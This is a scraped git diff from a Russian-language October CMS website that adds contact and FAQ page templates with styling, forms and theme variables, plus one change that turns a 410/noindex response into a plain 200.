isPartOfProductId: "CAowwqzaCw:openaccess",
|
||||
clientOptions: { theme: "light", lang: "ru" },
|
||||
});
|
||||
});
|
||||
</script>
|
||||
{% partial 'new/mobile-search' %}
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -21,9 +21,7 @@ function onStart()
|
|||
</div>
|
||||
</div>';
|
||||
|
||||
// Add 'X-Robots-Tag' header to prevent indexing
|
||||
return Response::make($html, 410)
|
||||
->header('X-Robots-Tag', 'noindex, nofollow');
|
||||
return Response::make($html, 200);
|
||||
}
|
||||
?>
|
||||
==
|
||||
|
|
|
|||
|
|
@ -0,0 +1,416 @@
|
|||
title = "contact"
|
||||
url = "/contact"
|
||||
layout = "new/master-inside"
|
||||
meta_title = "Обратная связь"
|
||||
is_hidden = 0
|
||||
robot_index = "index"
|
||||
robot_follow = "follow"
|
||||
==
|
||||
<style>
|
||||
/* General Styles */
|
||||
.contant {
|
||||
font-family: Roboto, sans-serif;
|
||||
color: #181D17;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 1660px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.contact-inner {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 48px
|
||||
}
|
||||
|
||||
.section-title-wrapper {
|
||||
display: flex;
|
||||
gap: 16px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.section-title {
|
||||
font-family: Roboto;
|
||||
font-size: 24px;
|
||||
font-weight: 600;
|
||||
line-height: 28.13px;
|
||||
}
|
||||
|
||||
.section-title-separator {
|
||||
width: 100%;
|
||||
height: 1px;
|
||||
background: #039F37;
|
||||
}
|
||||
|
||||
.contact-content-wrapper {
|
||||
display: flex;
|
||||
gap: 48px;
|
||||
padding: 0 67px;
|
||||
}
|
||||
|
||||
.contact-left,
|
||||
.contact-right {
|
||||
flex: 1;
|
||||
background: #EBEFE6;
|
||||
border: 1px solid #E4E9DD;
|
||||
padding: 24px;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
.contact-header {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
.contact-header h3 {
|
||||
font-size: 20px;
|
||||
font-weight: 600;
|
||||
line-height: 23.44px;
|
||||
}
|
||||
|
||||
.contact-header p {
|
||||
font-size: 17px;
|
||||
font-weight: 400;
|
||||
line-height: 22.1px;
|
||||
color: #424940;
|
||||
}
|
||||
|
||||
|
||||
|
||||
.contact-block {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 16px;
|
||||
|
||||
max-width: none;
|
||||
}
|
||||
|
||||
.contact-head h2 {
|
||||
font-size: 24px;
|
||||
font-weight: bold;
|
||||
margin-bottom: 15px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.contact-form .contact-content {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 24px;
|
||||
}
|
||||
|
||||
.contact-content-form-top {
|
||||
display: flex;
|
||||
gap: 16px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.contact-form label {
|
||||
display: block;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.contact-form input,
|
||||
.contact-form textarea {
|
||||
width: 100%;
|
||||
padding: 16px;
|
||||
font-family: Roboto;
|
||||
font-size: 16px;
|
||||
font-weight: 400;
|
||||
line-height: 18.75px;
|
||||
|
||||
border: 1px solid #7A7A7A;
|
||||
border-radius: 2px;
|
||||
background: none;
|
||||
}
|
||||
|
||||
.contact-form textarea {
|
||||
resize: none;
|
||||
}
|
||||
|
||||
.contact-antispam img {
|
||||
max-width: 100%;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
.contact-form button {
|
||||
display: inline-block;
|
||||
padding: 10px 20px;
|
||||
font-size: 20px;
|
||||
font-weight: 500;
|
||||
line-height: 23.44px;
|
||||
|
||||
background-color: #00822C;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 2px;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
max-width: none;
|
||||
}
|
||||
|
||||
.contact-form button:hover {
|
||||
background-color: #218838;
|
||||
}
|
||||
|
||||
/* Contact Details Section */
|
||||
.contact-right {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 63px;
|
||||
}
|
||||
|
||||
.contact-right-block-wrapper {
|
||||
display: flex;
|
||||
gap: 24px;
|
||||
}
|
||||
|
||||
.contact-right-block {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 24px;
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.contact-right-block-title {
|
||||
font-size: 20px;
|
||||
font-weight: 400;
|
||||
line-height: 24px;
|
||||
}
|
||||
|
||||
.contact-right-block-item {
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.contact-right-block-item-content {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.contact-right-block-item h4 {
|
||||
font-size: 16px;
|
||||
font-weight: 400;
|
||||
line-height: 24px;
|
||||
color: #181D17;
|
||||
}
|
||||
|
||||
.contact-right-block-item p {
|
||||
font-size: 16px;
|
||||
font-weight: 400;
|
||||
line-height: 24px;
|
||||
color: #424940;
|
||||
}
|
||||
|
||||
.contact-right ul {
|
||||
list-style: none;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.contact-right ul li {
|
||||
margin-bottom: 10px;
|
||||
font-size: 14px;
|
||||
color: #555;
|
||||
}
|
||||
|
||||
.contact-right ul li strong {
|
||||
color: #333;
|
||||
}
|
||||
|
||||
/* Responsive Styles */
|
||||
@media (max-width: 768px) {
|
||||
.contact-inner {
|
||||
flex-direction: column;
|
||||
gap: 48px;
|
||||
}
|
||||
|
||||
.contact-content-form-top {
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.contact-right-block-wrapper {
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.contact-left,
|
||||
.contact-right {
|
||||
flex: unset;
|
||||
}
|
||||
|
||||
.contact-content-wrapper {
|
||||
padding: 0;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.contact-left,
|
||||
.contact-right {
|
||||
padding: 16px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
<main class="contant">
|
||||
<div class="container">
|
||||
<div class="contact-inner">
|
||||
<!-- Left Section: Contact Form -->
|
||||
<div class="section-title-wrapper">
|
||||
<h2 class="section-title">Контакты</h2>
|
||||
<div class="section-title-separator"></div>
|
||||
</div>
|
||||
<div class="contact-content-wrapper">
|
||||
<div class="contact-left">
|
||||
<form class="contact-form">
|
||||
<div class="contact-content">
|
||||
<div class="contact-header">
|
||||
<h3>Свяжитесь с нами</h3>
|
||||
<p>Есть идея или сообщение для нашего агентства? Заполните форму ниже, и мы обязательно с вами свяжемся. Ваши предложения и вопросы помогают нам становиться лучше!</p>
|
||||
</div>
|
||||
<div class="contact-content-form-top">
|
||||
<div class="contact-block">
|
||||
<label for="name" name="name">Ваше имя <span>*</span> </label>
|
||||
<input
|
||||
type="text"
|
||||
required
|
||||
placeholder="Аманов Аман"
|
||||
id="name"
|
||||
/>
|
||||
</div>
|
||||
<div class="contact-block">
|
||||
<label for="email" name="email"
|
||||
>Ваше Email <span>*</span>
|
||||
</label>
|
||||
<input
|
||||
required
|
||||
type="email"
|
||||
placeholder="amanamanov@gmail.com"
|
||||
id="email"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div class="contact-block">
|
||||
<label for="message" name="message">Ваше сообщение</label>
|
||||
<textarea
|
||||
name="message"
|
||||
id="message"
|
||||
rows="4"
|
||||
placeholder="Задайте нам вопрос или напишите нам сообщение"
|
||||
></textarea>
|
||||
</div>
|
||||
<button type="submit">Отправить</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<div class="contact-right">
|
||||
<div class="contact-header">
|
||||
<h3>Контактные данные Orient</h2>
|
||||
<p>
|
||||
Наши контактные данные, адрес офиса и режим работы. Мы всегда на
|
||||
связи, чтобы ответить на ваши вопросы и предложения. Ждем вас!
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="contact-right-block-wrapper">
|
||||
|
||||
<div class="contact-right-block">
|
||||
<h4 class="contact-right-block-title">Офис расположен по адресу:</h4>
|
||||
<div class="contact-right-block-item">
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M12 19C9.65 17.2667 7.896 15.5833 6.738 13.95C5.58 12.3167 5.00067 10.7167 5 9.15C5 7.06667 5.65 5.35433 6.95 4.013C8.25 2.67167 9.93333 2.00067 12 2C14.0667 1.99933 15.75 2.67033 17.05 4.013C18.35 5.35567 19 7.068 19 9.15C19 10.7167 18.421 12.3167 17.263 13.95C16.105 15.5833 14.3507 17.2667 12 19ZM12 11C12.55 11 13.021 10.8043 13.413 10.413C13.805 10.0217 14.0007 9.55067 14 9C13.9993 8.44933 13.8037 7.97867 13.413 7.588C13.0223 7.19733 12.5513 7.00133 12 7C11.4487 6.99867 10.978 7.19467 10.588 7.588C10.198 7.98133 10.002 8.452 10 9C9.998 9.548 10.194 10.019 10.588 10.413C10.982 10.807 11.4527 11.0027 12 11ZM5 22V20H19V22H5Z" fill="#39693B"/>
|
||||
</svg>
|
||||
<div class="contact-right-block-item-content">
|
||||
<p>{{ this.theme.officeIsLocated }}</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="contact-right-block">
|
||||
<h4 class="contact-right-block-title">Режим работы:</h4>
|
||||
<div class="contact-right-block-item">
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M14.55 16.55L15.95 15.125L13 12.175V8H11V13L14.55 16.55ZM11 6H13V4H11V6ZM18 13H20V11H18V13ZM11 20H13V18H11V20ZM4 13H6V11H4V13ZM12 22C10.6167 22 9.31667 21.7373 8.1 21.212C6.88334 20.6867 5.825 19.9743 4.925 19.075C4.025 18.1757 3.31267 17.1173 2.788 15.9C2.26333 14.6827 2.00067 13.3827 2 12C1.99933 10.6173 2.262 9.31733 2.788 8.1C3.314 6.88267 4.02633 5.82433 4.925 4.925C5.82367 4.02567 6.882 3.31333 8.1 2.788C9.318 2.26267 10.618 2 12 2C13.382 2 14.682 2.26267 15.9 2.788C17.118 3.31333 18.1763 4.02567 19.075 4.925C19.9737 5.82433 20.6863 6.88267 21.213 8.1C21.7397 9.31733 22.002 10.6173 22 12C21.998 13.3827 21.7353 14.6827 21.212 15.9C20.6887 17.1173 19.9763 18.1757 19.075 19.075C18.1737 19.9743 17.1153 20.687 15.9 21.213C14.6847 21.739 13.3847 22.0013 12 22Z" fill="#39693B"/>
|
||||
</svg>
|
||||
|
||||
<div class="contact-right-block-item-content">
|
||||
<p>{{ this.theme.workingHours }}</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="contact-right-block-wrapper">
|
||||
|
||||
<div class="contact-right-block">
|
||||
<h4 class="contact-right-block-title">Контакты редакции:</h4>
|
||||
<div class="contact-right-block-item">
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M2 20V4H22V20H2ZM12 13L20 8V6L12 11L4 6V8L12 13Z" fill="#39693B"/>
|
||||
</svg>
|
||||
|
||||
<div class="contact-right-block-item-content">
|
||||
<h4>Email редакции:</h4>
|
||||
|
||||
<p>{{ this.theme.editorialEmail }}</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="contact-right-block-item">
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M10 20H14V19H10V20ZM5 23V1H19V23H5ZM7 16H17V6H7V16Z" fill="#39693B"/>
|
||||
</svg>
|
||||
|
||||
|
||||
<div class="contact-right-block-item-content">
|
||||
<h4>Телефон редакции:</h4>
|
||||
|
||||
<p>{{ this.theme.editorialPhone }}</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="contact-right-block">
|
||||
<h4 class="contact-right-block-title">Контакты администрации:</h4>
|
||||
<div class="contact-right-block-item">
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M2 20V4H22V20H2ZM12 13L20 8V6L12 11L4 6V8L12 13Z" fill="#39693B"/>
|
||||
</svg>
|
||||
|
||||
<div class="contact-right-block-item-content">
|
||||
<h4>Email администрации:</h4>
|
||||
|
||||
<p>{{ this.theme.emailTheAdministration }}</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="contact-right-block-item">
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M10 20H14V19H10V20ZM5 23V1H19V23H5ZM7 16H17V6H7V16Z" fill="#39693B"/>
|
||||
</svg>
|
||||
|
||||
|
||||
<div class="contact-right-block-item-content">
|
||||
<h4>Телефон администрации:</h4>
|
||||
|
||||
<p>{{ this.theme.administrationPhone }}</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
{% put scripts %}
|
||||
<script src="{{ 'assets/new/scripts/marquee/marquee3k.js'|theme }}"></script>
|
||||
<script src="{{ 'assets/new/scripts/core/main.js'|theme }}"></script>
|
||||
{% endput %}
|
||||
|
|
@ -0,0 +1,164 @@
|
|||
title = "new/contact_test"
|
||||
url = "/new/contact_test"
|
||||
layout = "new/master-inside"
|
||||
is_hidden = 1
|
||||
robot_index = "index"
|
||||
robot_follow = "follow"
|
||||
==
|
||||
<style>
|
||||
|
||||
.contact-inner{
|
||||
gap: 0 !important;
|
||||
padding: 0 !important;
|
||||
}
|
||||
|
||||
.contacts {
|
||||
margin: auto !important;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.contacts-items{
|
||||
display: flex;
|
||||
justify-content: space-around;
|
||||
padding-top: 40px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.contacts h2 {
|
||||
font-size: 24px;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
margin-bottom: 15px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.contacts p {
|
||||
font-size: 16px;
|
||||
color: #555;
|
||||
line-height: 1.6;
|
||||
margin: 10px 0;
|
||||
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
|
||||
width: 70%;
|
||||
text-align: center;
|
||||
margin: auto;
|
||||
|
||||
}
|
||||
|
||||
.contacts p strong {
|
||||
color: #333;
|
||||
}
|
||||
|
||||
|
||||
.contacts a {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.contacts-item {
|
||||
width: 200px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.contacts-items {
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
padding-top: 20px;
|
||||
}
|
||||
|
||||
.contacts-item {
|
||||
width: 90%;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.contacts h2 {
|
||||
font-size: 20px;
|
||||
}
|
||||
|
||||
.contacts p {
|
||||
font-size: 14px;
|
||||
width: 90%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
<main class="contant">
|
||||
<div class="container">
|
||||
<div class="contact-inner">
|
||||
|
||||
<div class="contacts">
|
||||
<h2>Контакты</h2>
|
||||
<p>Свяжитесь с нами удобным для вас способом! Ниже вы найдете наши контакты или можете заполнить форму, чтобы оставить свои предложения и комментарии. Мы всегда рады вашему мнению!</p>
|
||||
<div class="contacts-items">
|
||||
<div class="contacts-item">
|
||||
<span class="contacts-icon"><img src="{{ 'assets/new/images/insta.png'|theme}}" alt="" /></span>
|
||||
<p><strong>Инстаграм:</strong>{{ this.theme.instagram }}</p>
|
||||
</div>
|
||||
<div class="contacts-item">
|
||||
<span class="contacts-icon"><img src="{{ 'assets/new/images/email.png'|theme}}" alt="" /></span>
|
||||
<p><strong>Email:</strong> <a href="mailto:example@example.com">{{ this.theme.eMail }}</a></p>
|
||||
</div>
|
||||
<div class="contacts-item">
|
||||
<span class="contacts-icon"><img src="{{ 'assets/new/images/phone.png'|theme}}" alt="" /></span>
|
||||
<p><strong>Телефон:</strong> {{ this.theme.phone }}</p>
|
||||
</div>
|
||||
<div class="contacts-item">
|
||||
<span class="contacts-icon"><img src="{{ 'assets/new/images/address.png'|theme}}" alt="" /></span>
|
||||
<p><strong>Адрес:</strong>{{ this.theme.address }}</p>
|
||||
</div>
|
||||
</div>
|
||||
<h2>Свяжитесь с нами</h2>
|
||||
<p>Есть идея или сообщение для нашего агентства? Заполните форму ниже, и мы обязательно с вами свяжемся. Ваши предложения и вопросы помогают нам становиться лучше!</p>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="contact-left">
|
||||
<div class="trending-head contact-head">
|
||||
<h2>{{ 'contact.feedback'|_ }}</h2>
|
||||
<span></span>
|
||||
</div>
|
||||
|
||||
|
||||
<form class="contact-form">
|
||||
<div class="contact-content">
|
||||
<div class="contact-block">
|
||||
<label for="name" name="name">Ваше имя <span>*</span></label>
|
||||
<input type="text" required placeholder="Аманов Аман" id="name" />
|
||||
</div>
|
||||
<div class="contact-block">
|
||||
<label for="email" name="email">Ваше Email <span>*</span></label>
|
||||
<input required type="email" placeholder="amanamanov@gmail.com" id="email" />
|
||||
</div>
|
||||
<div class="contact-block">
|
||||
<label for="message" name="message">Тема сообщения</label>
|
||||
<textarea name="message" id="message" rows="10" placeholder="Тема сообщения"></textarea>
|
||||
</div>
|
||||
<div class="contact-antispam">
|
||||
<img src="{{'assets/new/images/antispam.jpg'|theme}}" alt="" />
|
||||
</div>
|
||||
<div class="contact-block">
|
||||
<label for="code" name="code">Введите текст на картинке<span>*</span></label>
|
||||
<input type="text" required id="code" />
|
||||
</div>
|
||||
<button type="submit">Отправить</button>
|
||||
</div>
|
||||
|
||||
<div class="contact-send"></div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
{% put scripts %}
|
||||
<script src="{{ 'assets/new/scripts/marquee/marquee3k.js'|theme}}"></script>
|
||||
<script src="{{ 'assets/new/scripts/core/main.js'|theme}}"></script>
|
||||
{% endput %}
|
||||
|
|
@ -0,0 +1,85 @@
|
|||
title = "new/faq"
|
||||
url = "/new/faq"
|
||||
layout = "new/master-inside"
|
||||
meta_title = "Часто задаваемые вопросы"
|
||||
is_hidden = 0
|
||||
robot_index = "index"
|
||||
robot_follow = "follow"
|
||||
|
||||
[viewBag]
|
||||
localeMeta_title[en] = "FAQ"
|
||||
localeMeta_title[tm] = "Köp soralýan soraglar"
|
||||
|
||||
[expertForm]
|
||||
==
|
||||
<?php
|
||||
function onStart(){
|
||||
$this['faqCategories'] = Tps\Tps\Models\FaqCategory::with('faq')->get();
|
||||
//dd($this['faqCategories']);
|
||||
}
|
||||
?>
|
||||
==
|
||||
{% put styles %}
|
||||
<link href="{{'assets/css/accordion.css'|theme}}" rel="stylesheet" />
|
||||
<link href="{{'assets/css/form-faq.css'|theme}}" rel="stylesheet" />
|
||||
{% endput %}
|
||||
|
||||
<main class="rubric-main">
|
||||
<div class="container">
|
||||
<div class="rubric-inner">
|
||||
<div class="trending-head">
|
||||
<h2>{{ this.page.meta_title }}</h2>
|
||||
<span></span>
|
||||
</div>
|
||||
<div class="rubric-items">
|
||||
|
||||
|
||||
<h3 style="text-align:center">{{'Добро пожаловать в раздел "В помощь экспортерам"!'|_}}</h3>
|
||||
<p>{{'Здесь вы можете бесплатно задать вопрос эксперту консалтинговой компании “Export Hyzmat” по экспортной деятельности и получить на него ответ в течение 24 часов.'|_}}</p>
|
||||
<p>{{'Для этого необходимо заполнить контактную форму, нажав на кнопку «Вопрос эксперту».'|_}}</p>
|
||||
<p>{{'Вы также можете просмотреть "Часто задаваемые вопросы" ниже. Возможно, среди них уже есть ответ на ваш вопрос.'|_}}</p>
|
||||
|
||||
<button class="ask-expert-btn">{{'Ask expert'|_}}</button>
|
||||
<div class="faq-section">
|
||||
|
||||
{% for category in faqCategories %}
|
||||
<div class="accordion">
|
||||
<h2 class="faq-section__title">{{category.name}}</h2>
|
||||
|
||||
{% for faq in category.faq %}
|
||||
<div class="accordion-item">
|
||||
<div class="accordion-item-header">
|
||||
<span class="accordion-item-header-title">{{faq.question}}</span>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-chevron-down accordion-item-header-icon">
|
||||
<path d="m6 9 6 6 6-6" />
|
||||
</svg>
|
||||
</div>
|
||||
<div class="accordion-item-description-wrapper">
|
||||
<div class="accordion-item-description">
|
||||
<p>{{faq.answer}}</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
{% endfor %}
|
||||
|
||||
</div>
|
||||
{% endfor %}
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
<div class="modal" id="expertFormModal">
|
||||
<div class="modal-content">
|
||||
<h2 id="form-header">{{'Спроси эксперта'|_}}</h2>
|
||||
{% component 'expertForm' %}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
{% put scripts %}
|
||||
<script src="{{['assets/js/accordion.js','assets/js/form-faq.js']|theme}}"></script>
|
||||
{% endput %}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue